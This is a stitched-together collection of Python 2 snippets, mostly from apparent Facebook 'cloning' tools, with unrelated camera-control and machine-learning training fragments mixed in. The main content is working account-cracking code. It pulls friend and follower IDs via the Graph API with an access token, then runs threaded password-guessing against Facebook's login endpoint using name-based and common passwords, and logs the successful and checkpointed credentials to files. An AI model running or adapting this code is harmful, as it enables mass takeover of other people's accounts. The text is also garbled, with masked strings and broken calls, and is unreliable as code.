ThreadPool(30) p.map(main, id) print ' ' print 47 * '-' print '' print ' Process has completed' print ' Total Cp/Ok : ' + str(len(cps)) + '/' + str(len(oks)) print '' print 47 * '-' print '' raw_input(' Press enter to back ') b_menu()
def SetPorts(cls, ports: int): __MAXPORT__ == __MINPORT__ + ports - 1 cls.__pool = ThreadPool(__MAXPORT__ - __MINPORT__ + 1)
def l_menu_select(): select = raw_input('\nChoose Option >>> ') id = [] oks = [] cps = [] if select == '1': os.system('clear') logo() print '' os.system('echo -e "\t Public ID Cloning " | lolcat') print '' idt = raw_input(' Put Id/user : '******'clear') logo() print '' os.system('echo -e "\t Gathering Information " | lolcat') print '' try: r = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token) q = json.loads(r.text) os.system('clear') logo() print '' os.system('echo -e "\t Public ID Cloning " | lolcat') print '' print ' Target user : '******'name'] except (KeyError, IOError): print '' print '\n\t \x1b[1;31m Logged in id has checkpoint\x1b[0;97m' print '' raw_input('\nPress enter to back ') l_menu() r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + token) z = json.loads(r.text) for i in z['data']: uid = i['id'] na = i['name'] nm = na.rsplit(' ')[0] id.append(uid + '|' + nm) elif select == '2': os.system('clear') logo() print '' os.system('echo -e "\t Public ID Cloning " | lolcat') print '' idt = raw_input(' Put Id/user : '******'clear') logo() print '' os.system('echo -e "\t Gathering Information " | lolcat') print '' try: r = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + token, headers=header) q = json.loads(r.text) os.system('clear') logo() print '' os.system('echo -e "\t Followers Cloning " | lolcat') print '' print ' Target user : '******'name'] except (KeyError, IOError): print '' print '\n\t \x1b[1;31m Logged in id has checkpoint\x1b[0;97m' print '' raw_input('\n Press enter to back ') l_menu() r = requests.get('https://graph.facebook.com/' + idt + '/subscribers?access_token=' + token + '&limit=5000', headers=header) z = json.loads(r.text) for i in z['data']: uid = i['id'] na = i['name'] nm = na.rsplit(' ')[0] id.append(uid + '|' + nm) elif select == '3': method_menu() elif select == '4': logout() else: print '' print '\t ' + c + 'Select valid method' + c2 print '' l_menu_select() print ' Total IDs : ' + str(len(id)) time.sleep(0.5) print ' The process is running in background' print '' print 47 * '-' print '' def main(arg): user = arg uid, name = user.split('|') try: pass1 = name + '123' data = requests.get('http://mbasic.facebook.com/localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass1 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass1 + '\n') ok.close() oks.append(uid + pass1) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass1 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass1 + '\n') cp.close() cps.append(uid + pass1) else: pass2 = name + '1234' data = requests.get('http://localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass2 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass2 + '\n') ok.close() oks.append(uid + pass2) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass2 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass2 + '\n') cp.close() cps.append(uid + pass2) else: pass3 = name + '12345' data = requests.get('http://localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass3 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass3 + '\n') ok.close() oks.append(uid + pass3) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass3 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass3 + '\n') cp.close() cps.append(uid + pass3) else: pass4 = name + '786' data = requests.get('http://localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass4 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass4 + '\n') ok.close() oks.append(uid + pass4) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass4 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass4 + '\n') cp.close() cps.apppend(uid + pass4) else: pass5 = '786786' data = requests.get('http://localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass5 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass5 + '\n') ok.close() oks.append(uid + pass5) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass5 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass5 + '\n') cp.close() cps.append(uid + pass5) else: pass6 = '786000' data = requests.get('http://localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass6 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass6 + '\n') ok.close() oks.append(uid + pass6) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass6 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass6 + '\n') cp.close() cps.append(uid + pass6) else: pass7 = 'Pakistan' data = requests.get('http://localhost:5000/auth?id=' + uid + '&pass='******'loc' in q: print '\x1b[1;32m[Successful] \x1b[1;30m' + uid + ' | ' + pass7 + '\x1b[0;97m' ok = open('ok.txt', 'a') ok.write(uid + ' | ' + pass7 + '\n') ok.close() oks.append(uid + pass7) elif 'www.facebook.com' in q['error']: print '[Checkpoint] ' + uid + ' | ' + pass7 cp = open('cp.txt', 'a') cp.write(uid + ' | ' + pass7 + '\n') cp.close() cps.append(uid + pass7) except: pass p = ThreadPool(30) p.map(main, id) print '' print 47 * '-' print '' print ' The process has completed' print ' Total Ok/Cp :' + str(len(oks)) + '/' + str(len(cps)) print '' print 47 * '-' print '' raw_input(' Press entet to back ') l_menu()
def main(): print("initializing") pool = ThreadPool(processes=1) #Time operator have to push button after product is detected IMG_SAVE_DELAY = 500 #This is used to signal that if operator dont push button then save image to approved folder flagPhotoSensor = False #Resolution on image resolution = (1280, 720) #Paths to put images path_approved = '/media/storage/good/' path_not_approved = '/media/storage/bad/' #Create camera object that takes images and store in approved or not approved folder camera = Camera(resolution, 'png', path_approved, path_not_approved) #GPIO stuff on_off = GPIO(7, 'in') disallowed_img = GPIO(138, 'in') disallowed_img.edge = 'rising' photoSensor = GPIO(140, 'in') photoSensor.edge = 'rising' #Create Display object display = Display() #Variable to handle debounce on input from photosensor lastPhotoSensorValue = False #Variable to handle debounce on input from operator button lastOperatorBtnValue = False #Get time in ms currentTime_ms = lambda: int(round(time.time() * 1000)) #Calculate new time - old time to get time difference between two events deltaTime_ms = lambda oldTime_ms: int(round(time.time() * 1000) ) - oldTime_ms #Store time to calculate time difference oldTime_ms = currentTime_ms() print("initialization done") #Run forever while True: #If system is turned on by switch, run program display.off() if on_off.read() or True: print("System started") #Make sure no old values are stored flagPhotoSensor = False camera.camera.start() #Stay in loop as long as system is turned on while on_off.read() or True: #If there is a product in front of camera, take a picture and record the time if photoSensor.read( ) and not lastPhotoSensorValue and not flagPhotoSensor: #img = camera.camera.get_image() async_img = pool.apply_async(camera.take_image) oldTime_ms = currentTime_ms() #Save that photo sensor has been high flagPhotoSensor = True #If operator push button before IMG_SAVE_DELAY time, save image to not approved folder #and blink red light once to inform operator while deltaTime_ms(oldTime_ms) <= IMG_SAVE_DELAY: if disallowed_img.read() and not lastOperatorBtnValue: img = async_img.get() threading.Thread(target=display.show_img, args=(img, False)).start() camera.save_img(img, False) flagPhotoSensor = False lastOperatorBtnValue = disallowed_img.read() #if operator dont push button before IMG_SAVE_DELAY time run out, save #image to approved folder and blink green light. if (deltaTime_ms(oldTime_ms) > IMG_SAVE_DELAY) and flagPhotoSensor: img = async_img.get() threading.Thread(target=display.show_img, args=(img, True)).start() camera.save_img(img, True) flagPhotoSensor = False camera.camera.stop() lastPhotoSensorValue = photoSensor.read()
utils = Utilities(nParticles) #history = Histories() #history.set_up_config(config=config) #history.on_train_begin() # Build the first training dataset print("TRAIN_DATA: ", TRAIN_DATA) X_train, Y, W_train, MVA_train = utils.BuildBatch(indir=TRAIN_DATA, nEvents=50, nFiles=10) model = loader.load_multiclass( ouput_class=4, loss='categorical_crossentropy') #,weights=class_weight) for epoch in range(1000): pool_local = ThreadPool(processes=1) # Shuffle loaded datasets and begin inds = range(len(X_train)) np.random.shuffle(inds) X_epoch, Y_epoch, W_epoch, MVA_epoch = X_train[inds], Y[inds], W_train[ inds], MVA_train[inds] # Check that nothing strange happened in the loaded datset if (np.min(W_train) == np.nan): continue if (np.min(W_train) == np.inf): continue cwd = {0: 1, 1: 1, 2: 1, 3: 1} #dict() ##Save the validation: ## Get class weights: Y = MVA_epoch[:, 2:] y = np.argmax(Y, axis=1) _class_weight = class_weight.compute_class_weight( "balanced", [0, 1, 2, 3], y)
def pilih_super(): peak = raw_input("\n\033[1;91m^.^Choose an Option>>> \033[1;95m") if peak == "": print "\x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print "\033[1;97m•◈•══════•◈•\033[1;91mKausar💋\033[1;97m•◈•══════•◈•" r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input( "\033[1;95m[•◈•] \033[1;91mEnter ID\033[1;95m: \033[1;95m") print "\033[1;92m•◈•══════••◈•\033[1;91mMdKausar\033[1;95m•◈•══════••◈•" try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;91mName\033[1;95m:\033[1;95m " + op["name"] except KeyError: print "\x1b[1;91mID Not Found!" raw_input("\n\033[1;95m[\033[1;91mBack\033[1;95m]") super() print "\033[1;91mGetting IDs\033[1;97m..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;36;40m[✺] Total IDs : \033[1;94m" + str(len(id)) jalan('\033[1;34;40m[✺] Please Wait...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;32;40m[✺] Cloning\033[1;93m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;94m ❈ \x1b[1;91mTo Stop Process Press CTRL+Z \033[1;94m ❈" print " \033[1;92m●══════════════════◄►══════════════════●" jalan(' \033[1;91m MD Kausar Islam Hacking Wait...') print " \033[1;92m ●══════════════════◄►══════════════════●" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Kausar try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass1 + '\n' oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass1 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass2 + '\n' oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass2 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['last_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass3 + '\n' oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass3 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = b['first_name'] + 'kausar' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass4 + '\n' oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass4 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = '786786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass5 + '\n' oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass5 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass6 + '\n' oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass6 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: pass7 = b[ 'first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x.text) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass7 + '\n' oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass7 + '\n' cek = open( "out/super_cp.txt", "a") cek.write( "ID:" + user + " Pw:" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) else: pass8 = b[ 'last_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user ) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load( data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x. text ) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass8 + '\n' oks.append( user + pass8 ) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass8 + '\n' cek = open( "out/super_cp.txt", "a" ) cek.write( "ID:" + user + " Pw:" + pass8 + "\n" ) cek.close( ) cekpoint.append( user + pass8 ) else: pass9 = b[ 'first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user ) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load( data ) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x . text ) print '\x1b[1;94m[ ✓ ] \x1b[1;92mHack100%💉' print '\x1b[1;94m[•⚔•] \x1b[1;91mName \x1b[1;91m ✯ \x1b[1;92m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;91mID \x1b[1;91m ✯ \x1b[1;92m' + user print '\x1b[1;94m[•⚔•] \x1b[1;91mPassword \x1b[1;91m✯ \x1b[1;92m' + pass9 + '\n' oks.append( user + pass9 ) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[ ❥ ] \x1b[1;94mCheckpoint' print '\x1b[1;94m[•⚔•] \x1b[1;94mName \x1b[1;94m ✯ \x1b[1;95m' + b[ 'name'] print '\x1b[1;94m[•⚔•] \x1b[1;94mID \x1b[1;94m ✯ \x1b[1;95m' + user print '\x1b[1;94m[•⚔•] \x1b[1;94mPassword \x1b[1;94m✯ \x1b[1;95m' + pass9 + '\n' cek = open( "out/super_cp.txt", "a" ) cek.write( "ID:" + user + " Pw:" + pass9 + "\n" ) cek.close( ) cekpoint.append( user + pass9 ) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•\033[1;91mMdkausar😉\033[1;95m•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•" print " \033[1;91m«---•◈•---Developed By Md Kausar-•◈•---»" #Dev:Kausar print '\033[1;93m✅Process Has Been Completed Press➡ Ctrl+Z.↩ Next Type (python2 Md Kausar)↩\033[1;97m....' print "\033[1;91mTotal OK/\x1b[1;95mCP \033[1;93m: \033[1;91m" + str( len(oks)) + "\033[1;93m/\033[1;96m" + str(len(cekpoint)) print """ Checkpoint ID Open After 7 Days •\033[1;95m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•. : \033[1;91m ....MD KAUSAR....... \033[1;95m : •\033[1;95m◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•▬ ▬ ▬ ▬ ▬ ▬ ▬•◈•.' Facebook \033[1;91m kAUSAR""" raw_input("\n\033[1;95m[\033[1;91mBack\033[1;95m]") menu()
def pb(): bp=raw_input(W + ' ✬🄵🄰🄲🄴🄱🄾🄾🄺✬ ') if bp =='': print (R + 'Select a valid option !') pb() elif bp =='1': cb() print (logo) r=requests.get('https://graph.facebook.com/me/friends?access_token='+tb) z=json.loads(r.text) for s in z['data']: id.append(s['id']) elif bp=='2': cb() print (logo) idt=raw_input(S + '[☆] ' + G + 'Put Public User ID/User Name: ' + W + '') cb() print (logo) try: jok=requests.get('https://graph.facebook.com/'+idt+'?access_token='+tb) op=json.loads(jok.text) psb(S + '[☆]' + G + ' Account Name: ' + W + op['name']) except KeyError: print (R + ' ID not found !') raw_input(R + ' Back') pak() r=requests.get('https://graph.facebook.com/'+idt+'/friends?access_token='+tb) z=json.loads(r.text) for i in z['data']: id.append(i['id']) elif bp =='3': cb() print (logo) try: idlist=raw_input(S + '[☆] ' + R + 'Enter File Path: ' + G + '') for line in open(idlist,'r').readlines(): id.append(line.strip()) except IOError: print (R + ' File Not Fount !') raw_input(R + ' Back') pak() elif bp =='0': menu() else: print (R + ' Select a valid option !') pb() print (S + '[☆]' + P + ' Total Friends: ' + W + str(len(id))) psb(S + '[☆]' + S + ' To stop process click on CTRL ~ Z') print print (S + 50*'-') print def main(arg): global cps, oks user=arg try: h=requests.get('https://graph.facebook.com/'+user+'/?access_token='+tb) j=json.loads(h.text) ps1=('786786') dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') k=json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S+'[CP] ♡ '+user+' ♡ '+ps1) cps.append(user+ps1) else: if 'access_token' in k: print (G+'[OK] ♡ '+user+' ♡ '+ps1) oks.append(user+ps1) else: ps2=(j['first_name']+'123') dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') k=json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S+'[CP] ♡ '+user+' ♡ '+ps2) cps.append(user+ps2) else: if 'access_token' in k: print(G+'[OK] ♡ '+user+' ♡ '+ps2) oks.append(user+ps2) else: ps3=(j['first_name']+'786') dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') k=json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S+'[CP] ♡ '+user+' ♡ '+ps3) cps.append(user+ps3) else: if 'access_token' in k: print(G+'[OK] ♡ '+user+' ♡ '+ps3) oks.append(user+ps3) else: ps4=(j['first_name']+'12345') dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') k=json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S+'[CP] ♡ '+user+' ♡ '+ps4) cps.append(user+ps4) else: if 'access_token' in k: print(G+'[OK] ♡ '+user+' ♡ '+ps4) oks.append(user+ps4) else: ps5=('Pakistan') dt=urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email='+(user)+'&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') k=json.load(dt) if 'www.facebook.com' in k['error_msg']: print(S+'[CP] ♡ '+user+' ♡ '+ps5) cps.append(user+ps5) else: if 'access_token' in k: print(G+'[OK] ♡ '+user+' ♡ '+ps5) oks.append(user+ps5) else: 